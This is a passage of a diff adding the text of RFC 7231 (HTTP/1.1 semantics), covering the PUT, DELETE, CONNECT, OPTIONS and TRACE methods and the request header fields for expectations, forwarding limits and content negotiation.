+      blog, or similar group of articles;
+
+   o  Creating a new resource that has yet to be identified by the
+      origin server; and
+
+   o  Appending data to a resource's existing representation(s).
+
+   An origin server indicates response semantics by choosing an
+   appropriate status code depending on the result of processing the
+   POST request; almost all of the status codes defined by this
+   specification might be received in a response to POST (the exceptions
+   being 206 (Partial Content), 304 (Not Modified), and 416 (Range Not
+   Satisfiable)).
+
+   If one or more resources has been created on the origin server as a
+   result of successfully processing a POST request, the origin server
+   SHOULD send a 201 (Created) response containing a Location header
+   field that provides an identifier for the primary resource created
+   (Section 7.1.2) and a representation that describes the status of the
+   request while referring to the new resource(s).
+
+   Responses to POST requests are only cacheable when they include
+   explicit freshness information (see Section 4.2.1 of [RFC7234]).
+   However, POST caching is not widely implemented.  For cases where an
+   origin server wishes the client to be able to cache the result of a
+   POST in a way that can be reused by a later GET, the origin server
+   MAY send a 200 (OK) response containing the result and a
+   Content-Location header field that has the same value as the POST's
+   effective request URI (Section 3.1.4.2).
+
+   If the result of processing a POST would be equivalent to a
+   representation of an existing resource, an origin server MAY redirect
+   the user agent to that resource by sending a 303 (See Other) response
+   with the existing resource's identifier in the Location field.  This
+   has the benefits of providing the user agent a resource identifier
+   and transferring the representation via a method more amenable to
+   shared caching, though at the cost of an extra request if the user
+   agent does not already have the representation cached.
+
+4.3.4.  PUT
+
+   The PUT method requests that the state of the target resource be
+   created or replaced with the state defined by the representation
+   enclosed in the request message payload.  A successful PUT of a given
+   representation would suggest that a subsequent GET on that same
+   target resource will result in an equivalent representation being
+   sent in a 200 (OK) response.  However, there is no guarantee that
+
+
+
+Fielding & Reschke           Standards Track                   [Page 26]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   such a state change will be observable, since the target resource
+   might be acted upon by other user agents in parallel, or might be
+   subject to dynamic processing by the origin server, before any
+   subsequent GET is received.  A successful response only implies that
+   the user agent's intent was achieved at the time of its processing by
+   the origin server.
+
+   If the target resource does not have a current representation and the
+   PUT successfully creates one, then the origin server MUST inform the
+   user agent by sending a 201 (Created) response.  If the target
+   resource does have a current representation and that representation
+   is successfully modified in accordance with the state of the enclosed
+   representation, then the origin server MUST send either a 200 (OK) or
+   a 204 (No Content) response to indicate successful completion of the
+   request.
+
+   An origin server SHOULD ignore unrecognized header fields received in
+   a PUT request (i.e., do not save them as part of the resource state).
+
+   An origin server SHOULD verify that the PUT representation is
+   consistent with any constraints the server has for the target
+   resource that cannot or will not be changed by the PUT.  This is
+   particularly important when the origin server uses internal
+   configuration information related to the URI in order to set the
+   values for representation metadata on GET responses.  When a PUT
+   representation is inconsistent with the target resource, the origin
+   server SHOULD either make them consistent, by transforming the
+   representation or changing the resource configuration, or respond
+   with an appropriate error message containing sufficient information
+   to explain why the representation is unsuitable.  The 409 (Conflict)
+   or 415 (Unsupported Media Type) status codes are suggested, with the
+   latter being specific to constraints on Content-Type values.
+
+   For example, if the target resource is configured to always have a
+   Content-Type of "text/html" and the representation being PUT has a
+   Content-Type of "image/jpeg", the origin server ought to do one of:
+
+   a.  reconfigure the target resource to reflect the new media type;
+
+   b.  transform the PUT representation to a format consistent with that
+       of the resource before saving it as the new resource state; or,
+
+   c.  reject the request with a 415 (Unsupported Media Type) response
+       indicating that the target resource is limited to "text/html",
+       perhaps including a link to a different resource that would be a
+       suitable target for the new representation.
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 27]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   HTTP does not define exactly how a PUT method affects the state of an
+   origin server beyond what can be expressed by the intent of the user
+   agent request and the semantics of the origin server response.  It
+   does not define what a resource might be, in any sense of that word,
+   beyond the interface provided via HTTP.  It does not define how
+   resource state is "stored", nor how such storage might change as a
+   result of a change in resource state, nor how the origin server
+   translates resource state into representations.  Generally speaking,
+   all implementation details behind the resource interface are
+   intentionally hidden by the server.
+
+   An origin server MUST NOT send a validator header field
+   (Section 7.2), such as an ETag or Last-Modified field, in a
+   successful response to PUT unless the request's representation data
+   was saved without any transformation applied to the body (i.e., the
+   resource's new representation data is identical to the representation
+   data received in the PUT request) and the validator field value
+   reflects the new representation.  This requirement allows a user
+   agent to know when the representation body it has in memory remains
+   current as a result of the PUT, thus not in need of being retrieved
+   again from the origin server, and that the new validator(s) received
+   in the response can be used for future conditional requests in order
+   to prevent accidental overwrites (Section 5.2).
+
+   The fundamental difference between the POST and PUT methods is
+   highlighted by the different intent for the enclosed representation.
+   The target resource in a POST request is intended to handle the
+   enclosed representation according to the resource's own semantics,
+   whereas the enclosed representation in a PUT request is defined as
+   replacing the state of the target resource.  Hence, the intent of PUT
+   is idempotent and visible to intermediaries, even though the exact
+   effect is only known by the origin server.
+
+   Proper interpretation of a PUT request presumes that the user agent
+   knows which target resource is desired.  A service that selects a
+   proper URI on behalf of the client, after receiving a state-changing
+   request, SHOULD be implemented using the POST method rather than PUT.
+   If the origin server will not make the requested PUT state change to
+   the target resource and instead wishes to have it applied to a
+   different resource, such as when the resource has been moved to a
+   different URI, then the origin server MUST send an appropriate 3xx
+   (Redirection) response; the user agent MAY then make its own decision
+   regarding whether or not to redirect the request.
+
+   A PUT request applied to the target resource can have side effects on
+   other resources.  For example, an article might have a URI for
+   identifying "the current version" (a resource) that is separate from
+   the URIs identifying each particular version (different resources
+
+
+
+Fielding & Reschke           Standards Track                   [Page 28]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   that at one point shared the same state as the current version
+   resource).  A successful PUT request on "the current version" URI
+   might therefore create a new version resource in addition to changing
+   the state of the target resource, and might also cause links to be
+   added between the related resources.
+
+   An origin server that allows PUT on a given target resource MUST send
+   a 400 (Bad Request) response to a PUT request that contains a
+   Content-Range header field (Section 4.2 of [RFC7233]), since the
+   payload is likely to be partial content that has been mistakenly PUT
+   as a full representation.  Partial content updates are possible by
+   targeting a separately identified resource with state that overlaps a
+   portion of the larger resource, or by using a different method that
+   has been specifically defined for partial updates (for example, the
+   PATCH method defined in [RFC5789]).
+
+   Responses to the PUT method are not cacheable.  If a successful PUT
+   request passes through a cache that has one or more stored responses
+   for the effective request URI, those stored responses will be
+   invalidated (see Section 4.4 of [RFC7234]).
+
+4.3.5.  DELETE
+
+   The DELETE method requests that the origin server remove the
+   association between the target resource and its current
+   functionality.  In effect, this method is similar to the rm command
+   in UNIX: it expresses a deletion operation on the URI mapping of the
+   origin server rather than an expectation that the previously
+   associated information be deleted.
+
+   If the target resource has one or more current representations, they
+   might or might not be destroyed by the origin server, and the
+   associated storage might or might not be reclaimed, depending
+   entirely on the nature of the resource and its implementation by the
+   origin server (which are beyond the scope of this specification).
+   Likewise, other implementation aspects of a resource might need to be
+   deactivated or archived as a result of a DELETE, such as database or
+   gateway connections.  In general, it is assumed that the origin
+   server will only allow DELETE on resources for which it has a
+   prescribed mechanism for accomplishing the deletion.
+
+   Relatively few resources allow the DELETE method -- its primary use
+   is for remote authoring environments, where the user has some
+   direction regarding its effect.  For example, a resource that was
+   previously created using a PUT request, or identified via the
+   Location header field after a 201 (Created) response to a POST
+   request, might allow a corresponding DELETE request to undo those
+   actions.  Similarly, custom user agent implementations that implement
+
+
+
+Fielding & Reschke           Standards Track                   [Page 29]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   an authoring function, such as revision control clients using HTTP
+   for remote operations, might use DELETE based on an assumption that
+   the server's URI space has been crafted to correspond to a version
+   repository.
+
+   If a DELETE method is successfully applied, the origin server SHOULD
+   send a 202 (Accepted) status code if the action will likely succeed
+   but has not yet been enacted, a 204 (No Content) status code if the
+   action has been enacted and no further information is to be supplied,
+   or a 200 (OK) status code if the action has been enacted and the
+   response message includes a representation describing the status.
+
+   A payload within a DELETE request message has no defined semantics;
+   sending a payload body on a DELETE request might cause some existing
+   implementations to reject the request.
+
+   Responses to the DELETE method are not cacheable.  If a DELETE
+   request passes through a cache that has one or more stored responses
+   for the effective request URI, those stored responses will be
+   invalidated (see Section 4.4 of [RFC7234]).
+
+4.3.6.  CONNECT
+
+   The CONNECT method requests that the recipient establish a tunnel to
+   the destination origin server identified by the request-target and,
+   if successful, thereafter restrict its behavior to blind forwarding
+   of packets, in both directions, until the tunnel is closed.  Tunnels
+   are commonly used to create an end-to-end virtual connection, through
+   one or more proxies, which can then be secured using TLS (Transport
+   Layer Security, [RFC5246]).
+
+   CONNECT is intended only for use in requests to a proxy.  An origin
+   server that receives a CONNECT request for itself MAY respond with a
+   2xx (Successful) status code to indicate that a connection is
+   established.  However, most origin servers do not implement CONNECT.
+
+   A client sending a CONNECT request MUST send the authority form of
+   request-target (Section 5.3 of [RFC7230]); i.e., the request-target
+   consists of only the host name and port number of the tunnel
+   destination, separated by a colon.  For example,
+
+     CONNECT server.example.com:80 HTTP/1.1
+     Host: server.example.com:80
+
+   The recipient proxy can establish a tunnel either by directly
+   connecting to the request-target or, if configured to use another
+   proxy, by forwarding the CONNECT request to the next inbound proxy.
+   Any 2xx (Successful) response indicates that the sender (and all
+
+
+
+Fielding & Reschke           Standards Track                   [Page 30]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   inbound proxies) will switch to tunnel mode immediately after the
+   blank line that concludes the successful response's header section;
+   data received after that blank line is from the server identified by
+   the request-target.  Any response other than a successful response
+   indicates that the tunnel has not yet been formed and that the
+   connection remains governed by HTTP.
+
+   A tunnel is closed when a tunnel intermediary detects that either
+   side has closed its connection: the intermediary MUST attempt to send
+   any outstanding data that came from the closed side to the other
+   side, close both connections, and then discard any remaining data
+   left undelivered.
+
+   Proxy authentication might be used to establish the authority to
+   create a tunnel.  For example,
+
+     CONNECT server.example.com:80 HTTP/1.1
+     Host: server.example.com:80
+     Proxy-Authorization: basic aGVsbG86d29ybGQ=
+
+   There are significant risks in establishing a tunnel to arbitrary
+   servers, particularly when the destination is a well-known or
+   reserved TCP port that is not intended for Web traffic.  For example,
+   a CONNECT to a request-target of "example.com:25" would suggest that
+   the proxy connect to the reserved port for SMTP traffic; if allowed,
+   that could trick the proxy into relaying spam email.  Proxies that
+   support CONNECT SHOULD restrict its use to a limited set of known
+   ports or a configurable whitelist of safe request targets.
+
+   A server MUST NOT send any Transfer-Encoding or Content-Length header
+   fields in a 2xx (Successful) response to CONNECT.  A client MUST
+   ignore any Content-Length or Transfer-Encoding header fields received
+   in a successful response to CONNECT.
+
+   A payload within a CONNECT request message has no defined semantics;
+   sending a payload body on a CONNECT request might cause some existing
+   implementations to reject the request.
+
+   Responses to the CONNECT method are not cacheable.
+
+4.3.7.  OPTIONS
+
+   The OPTIONS method requests information about the communication
+   options available for the target resource, at either the origin
+   server or an intervening intermediary.  This method allows a client
+   to determine the options and/or requirements associated with a
+   resource, or the capabilities of a server, without implying a
+   resource action.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 31]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   An OPTIONS request with an asterisk ("*") as the request-target
+   (Section 5.3 of [RFC7230]) applies to the server in general rather
+   than to a specific resource.  Since a server's communication options
+   typically depend on the resource, the "*" request is only useful as a
+   "ping" or "no-op" type of method; it does nothing beyond allowing the
+   client to test the capabilities of the server.  For example, this can
+   be used to test a proxy for HTTP/1.1 conformance (or lack thereof).
+
+   If the request-target is not an asterisk, the OPTIONS request applies
+   to the options that are available when communicating with the target
+   resource.
+
+   A server generating a successful response to OPTIONS SHOULD send any
+   header fields that might indicate optional features implemented by
+   the server and applicable to the target resource (e.g., Allow),
+   including potential extensions not defined by this specification.
+   The response payload, if any, might also describe the communication
+   options in a machine or human-readable representation.  A standard
+   format for such a representation is not defined by this
+   specification, but might be defined by future extensions to HTTP.  A
+   server MUST generate a Content-Length field with a value of "0" if no
+   payload body is to be sent in the response.
+
+   A client MAY send a Max-Forwards header field in an OPTIONS request
+   to target a specific recipient in the request chain (see
+   Section 5.1.2).  A proxy MUST NOT generate a Max-Forwards header
+   field while forwarding a request unless that request was received
+   with a Max-Forwards field.
+
+   A client that generates an OPTIONS request containing a payload body
+   MUST send a valid Content-Type header field describing the
+   representation media type.  Although this specification does not
+   define any use for such a payload, future extensions to HTTP might
+   use the OPTIONS body to make more detailed queries about the target
+   resource.
+
+   Responses to the OPTIONS method are not cacheable.
+
+4.3.8.  TRACE
+
+   The TRACE method requests a remote, application-level loop-back of
+   the request message.  The final recipient of the request SHOULD
+   reflect the message received, excluding some fields described below,
+   back to the client as the message body of a 200 (OK) response with a
+   Content-Type of "message/http" (Section 8.3.1 of [RFC7230]).  The
+   final recipient is either the origin server or the first server to
+   receive a Max-Forwards value of zero (0) in the request
+   (Section 5.1.2).
+
+
+
+Fielding & Reschke           Standards Track                   [Page 32]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   A client MUST NOT generate header fields in a TRACE request
+   containing sensitive data that might be disclosed by the response.
+   For example, it would be foolish for a user agent to send stored user
+   credentials [RFC7235] or cookies [RFC6265] in a TRACE request.  The
+   final recipient of the request SHOULD exclude any request header
+   fields that are likely to contain sensitive data when that recipient
+   generates the response body.
+
+   TRACE allows the client to see what is being received at the other
+   end of the request chain and use that data for testing or diagnostic
+   information.  The value of the Via header field (Section 5.7.1 of
+   [RFC7230]) is of particular interest, since it acts as a trace of the
+   request chain.  Use of the Max-Forwards header field allows the
+   client to limit the length of the request chain, which is useful for
+   testing a chain of proxies forwarding messages in an infinite loop.
+
+   A client MUST NOT send a message body in a TRACE request.
+
+   Responses to the TRACE method are not cacheable.
+
+5.  Request Header Fields
+
+   A client sends request header fields to provide more information
+   about the request context, make the request conditional based on the
+   target resource state, suggest preferred formats for the response,
+   supply authentication credentials, or modify the expected request
+   processing.  These fields act as request modifiers, similar to the
+   parameters on a programming language method invocation.
+
+5.1.  Controls
+
+   Controls are request header fields that direct specific handling of
+   the request.
+
+   +-------------------+--------------------------+
+   | Header Field Name | Defined in...            |
+   +-------------------+--------------------------+
+   | Cache-Control     | Section 5.2 of [RFC7234] |
+   | Expect            | Section 5.1.1            |
+   | Host              | Section 5.4 of [RFC7230] |
+   | Max-Forwards      | Section 5.1.2            |
+   | Pragma            | Section 5.4 of [RFC7234] |
+   | Range             | Section 3.1 of [RFC7233] |
+   | TE                | Section 4.3 of [RFC7230] |
+   +-------------------+--------------------------+
+
+
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 33]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+5.1.1.  Expect
+
+   The "Expect" header field in a request indicates a certain set of
+   behaviors (expectations) that need to be supported by the server in
+   order to properly handle this request.  The only such expectation
+   defined by this specification is 100-continue.
+
+     Expect  = "100-continue"
+
+   The Expect field-value is case-insensitive.
+
+   A server that receives an Expect field-value other than 100-continue
+   MAY respond with a 417 (Expectation Failed) status code to indicate
+   that the unexpected expectation cannot be met.
+
+   A 100-continue expectation informs recipients that the client is
+   about to send a (presumably large) message body in this request and
+   wishes to receive a 100 (Continue) interim response if the
+   request-line and header fields are not sufficient to cause an
+   immediate success, redirect, or error response.  This allows the
+   client to wait for an indication that it is worthwhile to send the
+   message body before actually doing so, which can improve efficiency
+   when the message body is huge or when the client anticipates that an
+   error is likely (e.g., when sending a state-changing method, for the
+   first time, without previously verified authentication credentials).
+
+   For example, a request that begins with
+
+     PUT /somewhere/fun HTTP/1.1
+     Host: origin.example.com
+     Content-Type: video/h264
+     Content-Length: 1234567890987
+     Expect: 100-continue
+
+
+   allows the origin server to immediately respond with an error
+   message, such as 401 (Unauthorized) or 405 (Method Not Allowed),
+   before the client starts filling the pipes with an unnecessary data
+   transfer.
+
+   Requirements for clients:
+
+   o  A client MUST NOT generate a 100-continue expectation in a request
+      that does not include a message body.
+
+   o  A client that will wait for a 100 (Continue) response before
+      sending the request message body MUST send an Expect header field
+      containing a 100-continue expectation.
+
+
+
+Fielding & Reschke           Standards Track                   [Page 34]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   o  A client that sends a 100-continue expectation is not required to
+      wait for any specific length of time; such a client MAY proceed to
+      send the message body even if it has not yet received a response.
+      Furthermore, since 100 (Continue) responses cannot be sent through
+      an HTTP/1.0 intermediary, such a client SHOULD NOT wait for an
+      indefinite period before sending the message body.
+
+   o  A client that receives a 417 (Expectation Failed) status code in
+      response to a request containing a 100-continue expectation SHOULD
+      repeat that request without a 100-continue expectation, since the
+      417 response merely indicates that the response chain does not
+      support expectations (e.g., it passes through an HTTP/1.0 server).
+
+   Requirements for servers:
+
+   o  A server that receives a 100-continue expectation in an HTTP/1.0
+      request MUST ignore that expectation.
+
+   o  A server MAY omit sending a 100 (Continue) response if it has
+      already received some or all of the message body for the
+      corresponding request, or if the framing indicates that there is
+      no message body.
+
+   o  A server that sends a 100 (Continue) response MUST ultimately send
+      a final status code, once the message body is received and
+      processed, unless the connection is closed prematurely.
+
+   o  A server that responds with a final status code before reading the
+      entire message body SHOULD indicate in that response whether it
+      intends to close the connection or continue reading and discarding
+      the request message (see Section 6.6 of [RFC7230]).
+
+   An origin server MUST, upon receiving an HTTP/1.1 (or later)
+   request-line and a complete header section that contains a
+   100-continue expectation and indicates a request message body will
+   follow, either send an immediate response with a final status code,
+   if that status can be determined by examining just the request-line
+   and header fields, or send an immediate 100 (Continue) response to
+   encourage the client to send the request's message body.  The origin
+   server MUST NOT wait for the message body before sending the 100
+   (Continue) response.
+
+   A proxy MUST, upon receiving an HTTP/1.1 (or later) request-line and
+   a complete header section that contains a 100-continue expectation
+   and indicates a request message body will follow, either send an
+   immediate response with a final status code, if that status can be
+   determined by examining just the request-line and header fields, or
+   begin forwarding the request toward the origin server by sending a
+
+
+
+Fielding & Reschke           Standards Track                   [Page 35]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   corresponding request-line and header section to the next inbound
+   server.  If the proxy believes (from configuration or past
+   interaction) that the next inbound server only supports HTTP/1.0, the
+   proxy MAY generate an immediate 100 (Continue) response to encourage
+   the client to begin sending the message body.
+
+      Note: The Expect header field was added after the original
+      publication of HTTP/1.1 [RFC2068] as both the means to request an
+      interim 100 (Continue) response and the general mechanism for
+      indicating must-understand extensions.  However, the extension
+      mechanism has not been used by clients and the must-understand
+      requirements have not been implemented by many servers, rendering
+      the extension mechanism useless.  This specification has removed
+      the extension mechanism in order to simplify the definition and
+      processing of 100-continue.
+
+5.1.2.  Max-Forwards
+
+   The "Max-Forwards" header field provides a mechanism with the TRACE
+   (Section 4.3.8) and OPTIONS (Section 4.3.7) request methods to limit
+   the number of times that the request is forwarded by proxies.  This
+   can be useful when the client is attempting to trace a request that
+   appears to be failing or looping mid-chain.
+
+     Max-Forwards = 1*DIGIT
+
+   The Max-Forwards value is a decimal integer indicating the remaining
+   number of times this request message can be forwarded.
+
+   Each intermediary that receives a TRACE or OPTIONS request containing
+   a Max-Forwards header field MUST check and update its value prior to
+   forwarding the request.  If the received value is zero (0), the
+   intermediary MUST NOT forward the request; instead, the intermediary
+   MUST respond as the final recipient.  If the received Max-Forwards
+   value is greater than zero, the intermediary MUST generate an updated
+   Max-Forwards field in the forwarded message with a field-value that
+   is the lesser of a) the received value decremented by one (1) or b)
+   the recipient's maximum supported value for Max-Forwards.
+
+   A recipient MAY ignore a Max-Forwards header field received with any
+   other request methods.
+
+5.2.  Conditionals
+
+   The HTTP conditional request header fields [RFC7232] allow a client
+   to place a precondition on the state of the target resource, so that
+   the action corresponding to the method semantics will not be applied
+   if the precondition evaluates to false.  Each precondition defined by
+
+
+
+Fielding & Reschke           Standards Track                   [Page 36]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   this specification consists of a comparison between a set of
+   validators obtained from prior representations of the target resource
+   to the current state of validators for the selected representation
+   (Section 7.2).  Hence, these preconditions evaluate whether the state
+   of the target resource has changed since a given state known by the
+   client.  The effect of such an evaluation depends on the method
+   semantics and choice of conditional, as defined in Section 5 of
+   [RFC7232].
+
+   +---------------------+--------------------------+
+   | Header Field Name   | Defined in...            |
+   +---------------------+--------------------------+
+   | If-Match            | Section 3.1 of [RFC7232] |
+   | If-None-Match       | Section 3.2 of [RFC7232] |
+   | If-Modified-Since   | Section 3.3 of [RFC7232] |
+   | If-Unmodified-Since | Section 3.4 of [RFC7232] |
+   | If-Range            | Section 3.2 of [RFC7233] |
+   +---------------------+--------------------------+
+
+5.3.  Content Negotiation
+
+   The following request header fields are sent by a user agent to
+   engage in proactive negotiation of the response content, as defined
+   in Section 3.4.1.  The preferences sent in these fields apply to any
+   content in the response, including representations of the target
+   resource, representations of error or processing status, and
+   potentially even the miscellaneous text strings that might appear
+   within the protocol.
+
+   +-------------------+---------------+
+   | Header Field Name | Defined in... |
+   +-------------------+---------------+
+   | Accept            | Section 5.3.2 |
+   | Accept-Charset    | Section 5.3.3 |
+   | Accept-Encoding   | Section 5.3.4 |
+   | Accept-Language   | Section 5.3.5 |
+   +-------------------+---------------+
+
+5.3.1.  Quality Values
+
+   Many of the request header fields for proactive negotiation use a
+   common parameter, named "q" (case-insensitive), to assign a relative
+   "weight" to the preference for that associated kind of content.  This
+   weight is referred to as a "quality value" (or "qvalue") because the
+   same parameter name is often used within server configurations to
+   assign a weight to the relative quality of the various
+   representations that can be selected for a resource.
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 37]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   The weight is normalized to a real number in the range 0 through 1,
+   where 0.001 is the least preferred and 1 is the most preferred; a
+   value of 0 means "not acceptable".  If no "q" parameter is present,
+   the default weight is 1.
+
+     weight = OWS ";" OWS "q=" qvalue
+     qvalue = ( "0" [ "." 0*3DIGIT ] )
+            / ( "1" [ "." 0*3("0") ] )
+
+   A sender of qvalue MUST NOT generate more than three digits after the
+   decimal point.  User configuration of these values ought to be
+   limited in the same fashion.
+
+5.3.2.  Accept
+
+   The "Accept" header field can be used by user agents to specify
+   response media types that are acceptable.  Accept header fields can
+   be used to indicate that the request is specifically limited to a
+   small set of desired types, as in the case of a request for an
+   in-line image.
+
+     Accept = #( media-range [ accept-params ] )
+
+     media-range    = ( "*/*"
+                      / ( type "/" "*" )
+                      / ( type "/" subtype )
+                      ) *( OWS ";" OWS parameter )
+     accept-params  = weight *( accept-ext )
+     accept-ext = OWS ";" OWS token [ "=" ( token / quoted-string ) ]
+
+   The asterisk "*" character is used to group media types into ranges,
+   with "*/*" indicating all media types and "type/*" indicating all
+   subtypes of that type.  The media-range can include media type
+   parameters that are applicable to that range.
+
+   Each media-range might be followed by zero or more applicable media
+   type parameters (e.g., charset), an optional "q" parameter for
+   indicating a relative weight (Section 5.3.1), and then zero or more
+   extension parameters.  The "q" parameter is necessary if any
+   extensions (accept-ext) are present, since it acts as a separator
+   between the two parameter sets.
+
+      Note: Use of the "q" parameter name to separate media type
+      parameters from Accept extension parameters is due to historical
+      practice.  Although this prevents any media type parameter named
+      "q" from being used with a media range, such an event is believed
+      to be unlikely given the lack of any "q" parameters in the IANA
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 38]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+      media type registry and the rare usage of any media type
+      parameters in Accept.  Future media types are discouraged from
+      registering any parameter named "q".
+
+   The example
+
+     Accept: audio/*; q=0.2, audio/basic
+
+   is interpreted as "I prefer audio/basic, but send me any audio type
+   if it is the best available after an 80% markdown in quality".
+
+   A request without any Accept header field implies that the user agent
+   will accept any media type in response.  If the header field is
+   present in a request and none of the available representations for
+   the response have a media type that is listed as acceptable, the
+   origin server can either honor the header field by sending a 406 (Not
+   Acceptable) response or disregard the header field by treating the
+   response as if it is not subject to content negotiation.
+
+   A more elaborate example is
+
+     Accept: text/plain; q=0.5, text/html,
+             text/x-dvi; q=0.8, text/x-c
+
+   Verbally, this would be interpreted as "text/html and text/x-c are
+   the equally preferred media types, but if they do not exist, then
+   send the text/x-dvi representation, and if that does not exist, send
+   the text/plain representation".
+
+   Media ranges can be overridden by more specific media ranges or
+   specific media types.  If more than one media range applies to a
+   given type, the most specific reference has precedence.  For example,
+
+     Accept: text/*, text/plain, text/plain;format=flowed, */*
+
+   have the following precedence:
+
+   1.  text/plain;format=flowed
+
+   2.  text/plain
+
+   3.  text/*
+
+   4.  */*
+
+   The media type quality factor associated with a given type is
+   determined by finding the media range with the highest precedence
+   that matches the type.  For example,
+
+
+
+Fielding & Reschke           Standards Track                   [Page 39]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+     Accept: text/*;q=0.3, text/html;q=0.7, text/html;level=1,
+             text/html;level=2;q=0.4, */*;q=0.5
+
+   would cause the following values to be associated:
+
+   +-------------------+---------------+
+   | Media Type        | Quality Value |
+   +-------------------+---------------+
+   | text/html;level=1 | 1             |
+   | text/html         | 0.7           |
+   | text/plain        | 0.3           |
+   | image/jpeg        | 0.5           |
+   | text/html;level=2 | 0.4           |
+   | text/html;level=3 | 0.7           |
+   +-------------------+---------------+
+
+   Note: A user agent might be provided with a default set of quality
+   values for certain media ranges.  However, unless the user agent is a
+   closed system that cannot interact with other rendering agents, this
+   default set ought to be configurable by the user.
+
+5.3.3.  Accept-Charset
+
+   The "Accept-Charset" header field can be sent by a user agent to
+   indicate what charsets are acceptable in textual response content.
+   This field allows user agents capable of understanding more
+   comprehensive or special-purpose charsets to signal that capability
+   to an origin server that is capable of representing information in
+   those charsets.
+
+     Accept-Charset = 1#( ( charset / "*" ) [ weight ] )
+
+   Charset names are defined in Section 3.1.1.2.  A user agent MAY
+   associate a quality value with each charset to indicate the user's
+   relative preference for that charset, as defined in Section 5.3.1.
+   An example is
+
+     Accept-Charset: iso-8859-5, unicode-1-1;q=0.8
+
+   The special value "*", if present in the Accept-Charset field,
+   matches every charset that is not mentioned elsewhere in the
+   Accept-Charset field.  If no "*" is present in an Accept-Charset
+   field, then any charsets not explicitly mentioned in the field are
+   considered "not acceptable" to the client.
+
+   A request without any Accept-Charset header field implies that the
+   user agent will accept any charset in response.  Most general-purpose
+   user agents do not send Accept-Charset, unless specifically
+
+
+
+Fielding & Reschke           Standards Track                   [Page 40]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   configured to do so, because a detailed list of supported charsets
+   makes it easier for a server to identify an individual by virtue of
+   the user agent's request characteristics (Section 9.7).
+
+   If an Accept-Charset header field is present in a request and none of
+   the available representations for the response has a charset that is
+   listed as acceptable, the origin server can either honor the header
+   field, by sending a 406 (Not Acceptable) response, or disregard the
+   header field by treating the resource as if it is not subject to
+   content negotiation.
+
+5.3.4.  Accept-Encoding
+
+   The "Accept-Encoding" header field can be used by user agents to
+   indicate what response content-codings (Section 3.1.2.1) are
+   acceptable in the response.  An "identity" token is used as a synonym
+   for "no encoding" in order to communicate when no encoding is
+   preferred.
+
+     Accept-Encoding  = #( codings [ weight ] )
+     codings          = content-coding / "identity" / "*"
+
+   Each codings value MAY be given an associated quality value
+   representing the preference for that encoding, as defined in
+   Section 5.3.1.  The asterisk "*" symbol in an Accept-Encoding field
+   matches any available content-coding not explicitly listed in the
+   header field.
+
+   For example,
+
+     Accept-Encoding: compress, gzip
+     Accept-Encoding:
+     Accept-Encoding: *
+     Accept-Encoding: compress;q=0.5, gzip;q=1.0
+     Accept-Encoding: gzip;q=1.0, identity; q=0.5, *;q=0
+
+   A request without an Accept-Encoding header field implies that the
+   user agent has no preferences regarding content-codings.  Although
+   this allows the server to use any content-coding in a response, it
+   does not imply that the user agent will be able to correctly process
+   all encodings.
+
+   A server tests whether a content-coding for a given representation is
+   acceptable using these rules:
+
+   1.  If no Accept-Encoding field is in the request, any content-coding
+       is considered acceptable by the user agent.
+
+
+
+
+Fielding & Reschke           Standards Track                   [Page 41]
+```
+
+___
+
+```
+
+RFC 7231             HTTP/1.1 Semantics and Content            June 2014
+
+
+   2.  If the representation has no content-coding, then it is
+       acceptable by default unless specifically excluded by the
+       Accept-Encoding field stating either "identity;q=0" or "*;q=0"
+       without a more specific entry for "identity".
+
+   3.  If the representation's content-coding is one of the
+       content-codings listed in the Accept-Encoding field, then it is
+       acceptable unless it is accompanied by a qvalue of 0.  (As
+       defined in Section 5.3.1, a qvalue of 0 means "not acceptable".)
+
+   4.  If multiple content-codings are acceptable, then the acceptable
+       content-coding with the highest non-zero qvalue is preferred.
+
+   An Accept-Encoding header field with a combined field-value that is
+   empty implies that the user agent does not want any content-coding in
+   response.  If an Accept-Encoding header field is present in a request
+   and none of the available representations for the response have a
+   content-coding that is listed as acceptable, the origin server SHOULD
+   send a response without any content-coding.
+
+      Note: Most HTTP/1.0 applications do not recognize or obey qvalues
+      associated with content-codings.  This means that qvalues might
+      not work and are not permitted with x-gzip or x-compress.
+
+5.3.5.  Accept-Language
+
+   The "Accept-Language" header field can be used by user agents to
+   indicate the set of natural languages that are preferred in the
+   response.  Language tags are defined in Section 3.1.3.1.
+
+     Accept-Language = 1#( language-range [ weight ] )
+     language-range  =
+               <language-range, see [RFC4647], Section 2.1>
+
+   Each language-range can be given an associated quality value
+   representing an estimate of the user's preference for the languages
+   specified by that range, as defined in Section 5.3.1.  For example,
+
+     Accept-Language: da, en-gb;q=0.8, en;q=0.7
+
+   would mean: "I prefer Danish, but will accept British English and
+   other types of English".
+
+   A request without any Accept-Language header field implies that the
+   user agent will accept any language in response.  If the header field
+   is present in a request and none of the available representations for
+   the response have a matching language tag, the origin server can
+   either disregard the header field by treating the response as if it
+
+
+
